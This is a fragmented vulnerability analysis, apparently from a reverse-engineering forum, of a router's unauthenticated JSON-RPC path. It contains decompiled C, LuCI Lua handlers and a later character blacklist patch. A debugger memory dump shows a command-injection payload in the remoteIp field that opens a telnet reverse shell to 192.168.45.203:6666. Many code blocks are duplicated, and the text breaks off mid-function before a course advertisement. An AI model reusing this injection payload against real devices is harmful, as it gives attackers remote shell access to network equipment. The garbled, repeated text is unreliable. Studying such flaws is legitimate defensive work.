json_object_new_boolean(
1
);
if
( v30 )
{
v31
=
v20;
v32
=
"execute"
;
goto LABEL_56;
}
}
}
else
{
if
(
*
((_BYTE
*
)a1
+
43
) )
{
v29
=
json_object_new_boolean(
1
);
if
( v29 )
json_object_object_add(v20,
"force"
, v29);
}
if
(
*
((_BYTE
*
)a1
+
44
) )
{
v30
=
json_object_new_boolean(
1
);
if
( v30 )
{
v31
=
v20;
v32
=
"configId_not_change"
;
LABEL_56:
json_object_object_add(v31, v32, v30);
goto LABEL_57;
}
}
}
LABEL_57:
v28
=
*
((unsigned __int8
*
)a1
+
45
);
LABEL_58:
if
( v28 )
{
v33
=
json_object_new_boolean(
1
);
if
( v33 )
json_object_object_add(v20,
"from_url"
, v33);
}
if
(
*
((_BYTE
*
)a1
+
47
) )
{
v34
=
json_object_new_boolean(
1
);
if
( v34 )
json_object_object_add(v20,
"from_file"
, v34);
}
if
(
*
((_BYTE
*
)a1
+
48
) )
{
v35
=
json_object_new_boolean(
1
);
if
( v35 )
json_object_object_add(v20,
"multi"
, v35);
}
if
(
*
((_BYTE
*
)a1
+
46
) )
{
v36
=
json_object_new_boolean(
1
);
if
( v36 )
json_object_object_add(v20,
"not_commit"
, v36);
}
if
(
*
((_BYTE
*
)a1
+
40
) )
{
v37
=
json_object_new_boolean(
*
((unsigned __int8
*
)a1
+
41
) ^
1
);
if
( v37 )
json_object_object_add(v20,
"async"
, v37);
}
v38
=
(_BYTE
*
)a1[
3
];
if
( !v38 || !
*
v38 )
goto LABEL_78;
v39
=
json_object_new_string(v38);
json_object_object_add(v20,
"data"
, v39);
LABEL_78:
v41
=
(_BYTE
*
)a1[
4
];
if
( v41 &&
*
v41 )
{
v42
=
json_object_new_string(v41);
if
( !v42 )
{
json_object_put(v20);
json_object_put(v5);
v40
=
630
;
goto LABEL_82;
}
json_object_object_add(v20,
"device"
, v42);
}
json_object_object_add(v5,
"params"
, v20);
/
/
将上面的v20当做了params的值,向v5中添加新的键值对
v43
=
json_object_to_json_string(v5);
/
/
json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串
......
v44
=
uf_socket_client_init(
0
);
......
v50
=
strlen(v43);
uf_socket_msg_write(v44, v43, v50);
/
/
最终调用uf_socket_msg_write,用socket实现了进程间通信,将解析好的json数据发送给其他进程进行处理
......
function rpc_auth()
local jsonrpc
=
require
"luci.utils.jsonrpc"
local http
=
require
"luci.http"
local ltn12
=
require
"luci.ltn12"
local _tbl
=
require
"luci.modules.noauth"
if
tonumber(http.getenv(
"HTTP_CONTENT_LENGTH"
)
or
0
) >
1000
then
http.prepare_content(
"text/plain"
)
-
-
http.write({code
=
"1"
, err
=
"too long data"
})
return
"too long data"
end
http.prepare_content(
"application/json"
)
ltn12.pump.
all
(jsonrpc.handle(_tbl, http.source()), http.write)
end
function rpc_auth()
local jsonrpc
=
require
"luci.utils.jsonrpc"
local http
=
require
"luci.http"
local ltn12
=
require
"luci.ltn12"
local _tbl
=
require
"luci.modules.noauth"
if
tonumber(http.getenv(
"HTTP_CONTENT_LENGTH"
)
or
0
) >
1000
then
http.prepare_content(
"text/plain"
)
-
-
http.write({code
=
"1"
, err
=
"too long data"
})
return
"too long data"
end
http.prepare_content(
"application/json"
)
ltn12.pump.
all
(jsonrpc.handle(_tbl, http.source()), http.write)
end
function merge(params)
local cmd
=
require
"luci.modules.cmd"
return
cmd.devSta.
set
({device
=
"pc"
, module
=
"networkId_merge"
, data
=
params, async
=
true})
end
function merge(params)
local cmd
=
require
"luci.modules.cmd"
return
cmd.devSta.
set
({device
=
"pc"
, module
=
"networkId_merge"
, data
=
params, async
=
true})
end
devSta[opt[i]]
=
function(params)
local model
=
require
"dev_sta"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_sta"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
devSta[opt[i]]
=
function(params)
local model
=
require
"dev_sta"
params.method
=
opt[i]
params.cfg_cmd
=
"dev_sta"
local data, back, ip, password, shell
=
doParams(params)
return
fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
function merge(params)
local cmd
=
require
"luci.modules.cmd"
local tool
=
require(
"luci.utils.tool"
)
local _strParams
=
luci.json.encode(params)
if
tool.includeXxs(_strParams)
or
tool.includeQuote(_strParams) then
tool.eweblog(_strParams,
"MERGE FAILED INVALID DATA"
)
return
'INVALID DATA'
end
return
cmd.devSta.
set
({
device
=
"pc"
,
module
=
"networkId_merge"
,
data
=
params,
async
=
true
})
end
function includeXxs(
str
)
local ngstr
=
"[\n\r`&$;|]"
return
string.match(
str
, ngstr) ~
=
nil
end
function includeQuote(
str
)
return
string.match(
str
,
"(['])"
) ~
=
nil
end
function merge(params)
local cmd
=
require
"luci.modules.cmd"
local tool
=
require(
"luci.utils.tool"
)
local _strParams
=
luci.json.encode(params)
if
tool.includeXxs(_strParams)
or
tool.includeQuote(_strParams) then
tool.eweblog(_strParams,
"MERGE FAILED INVALID DATA"
)
return
'INVALID DATA'
end
return
cmd.devSta.
set
({
device
=
"pc"
,
module
=
"networkId_merge"
,
data
=
params,
async
=
true
})
end
function includeXxs(
str
)
local ngstr
=
"[\n\r`&$;|]"
return
string.match(
str
, ngstr) ~
=
nil
end
function includeQuote(
str
)
return
string.match(
str
,
"(['])"
) ~
=
nil
end
v31 = (_DWORD *)malloc_pkg();
......
pthread_mutex_lock(v29 + 5);
*v31 = v29;
v52 = uf_socket_msg_read(*v29, v31 + 1);
pthread_mutex_unlock(v29 + 5);
v31 = (_DWORD *)malloc_pkg();
......
pthread_mutex_lock(v29 + 5);
*v31 = v29;
v52 = uf_socket_msg_read(*v29, v31 + 1);
pthread_mutex_unlock(v29 + 5);
pwndbg> x
/
4s
0x623850
0x623850
:
"{ \"method\": \"devConfig.get\", \"params\": { \"module\": \"123\", \"remoteIp\": \"$(mkfifo \\/tmp\\/test;telnet 192.168.45.203 6666 0<\\/tmp\\/test|\\/bin\\/sh > \\/tmp\\/test)\", \"remotePwd\": \"\", \"async\": true, \"data\": "
...
0x623918
:
"\"{\\\"kkk\\\":\\\"abc\\\"}\" } }"
pwndbg> x
/
4s
0x623850
0x623850
:
"{ \"method\": \"devConfig.get\", \"params\": { \"module\": \"123\", \"remoteIp\": \"$(mkfifo \\/tmp\\/test;telnet 192.168.45.203 6666 0<\\/tmp\\/test|\\/bin\\/sh > \\/tmp\\/test)\", \"remotePwd\": \"\", \"async\": true, \"data\": "
...
0x623918
:
"\"{\\\"kkk\\\":\\\"abc\\\"}\" } }"
v3 = json_tokener_parse();
v4 = v3;
......
v6 = json_object_object_get_ex(v3,
"params"
, &v18);
v7 = v4;
if
( v6 != 1 )
{
LABEL_27:
json_object_put(v7);
return
-1;
}
if
( json_object_object_get_ex(v4,
"method"
, v19) != 1 )
{
LABEL_26:
v7 = v4;
goto
LABEL_27;
}
v8 = json_object_get_string(v19[0]);
if
( !v8 )
{
......
}
if
(
strstr
(v8,
"cmdArr"
) )
{
......
}
else
{
......
v16 = parse_obj2_cmd(v4);
*v15 = v16;
if
( !v16 )
{
......
}
pkg_add_cmd(a1, v15);
v15[2] = 0;
}
v3 = json_tokener_parse();
v4 = v3;
......
v6 = json_object_object_get_ex(v3,
"params"
, &v18);
v7 = v4;
if
( v6 != 1 )
{
LABEL_27:
json_object_put(v7);
return
-1;
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)